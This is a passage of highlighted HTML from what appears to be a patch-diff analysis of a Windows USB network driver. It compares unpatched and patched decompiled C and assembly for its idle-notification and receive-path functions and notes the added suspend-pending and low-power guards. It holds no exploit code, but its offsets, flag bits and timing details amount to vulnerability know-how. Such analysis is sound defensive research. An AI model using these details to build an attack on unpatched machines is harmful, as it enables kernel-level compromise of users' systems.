&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dequeue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;waitlist&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;process_and_maybe_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* empty list */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* &amp;gt;0x989680 elapsed */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: exit if suspend now pending&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NICStopRxPath&lt;/code&gt; &amp;amp; &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED NICStopRxPath ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;NICStopRxPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is_power_down&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NICStopBulkIn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_power_down&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;split_rx_pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0xFF8] */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NICCollectSplitRxPackets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// bounded poll-wait, see below&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED NICStopRxPath ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;NICStopRxPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is_power_down&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NICStopBulkIn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_power_down&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;split_rx_pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0x1028] */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0x44] */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// ADDED low-power guard&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NICCollectSplitRxPackets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- NICCollectSplitRxPackets (both builds, identical logic) ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;NICCollectSplitRxPackets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;split_rx_pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [+0xF78] unpatched / [+0xFA8] patched&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// cap at 100 iterations&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NdisMSleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// 10 ms&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// no RCB / NBL / MDL / USB buffer access anywhere in this function&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;MPIdleNotification&lt;/code&gt; (Unpatched @ 0x140001030)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0000000140001030&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001032&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001036&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001039&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NICWaitForReset&lt;/span&gt;
&lt;span class="mf"&gt;000000014000103&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;104&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001044&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;FFFFFFFFh&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001047&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14000105C&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001049&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NDIS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;
&lt;span class="mf"&gt;000000014000104&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NdisDeviceStateD3&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001052&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisMIdleNotificationConfirm_0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;suspend&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001057&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;103&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;000000014000105&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001060&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001061&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;MPIdleNotification&lt;/code&gt; (Patched @ 0x140001034)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0000000140001034&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001036&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;000000014000103&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="mf"&gt;000000014000103&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NICWaitForReset&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001042&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;12&lt;/span&gt;&lt;span class="n"&gt;Ch&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001048&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;FFFFFFFFh&lt;/span&gt;
&lt;span class="mf"&gt;000000014000104&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140001068&lt;/span&gt;
&lt;span class="mf"&gt;000000014000104&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;bts&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;44&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;Bh&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x8000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;suspend&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pending&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001052&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NdisDeviceStateD3&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001057&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;98&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NDIS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;
&lt;span class="mf"&gt;000000014000105&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisMIdleNotificationConfirm_0&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001063&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;103&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; loop exit — unpatched vs patched&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x140010C4C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;conditions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;are&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;empty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 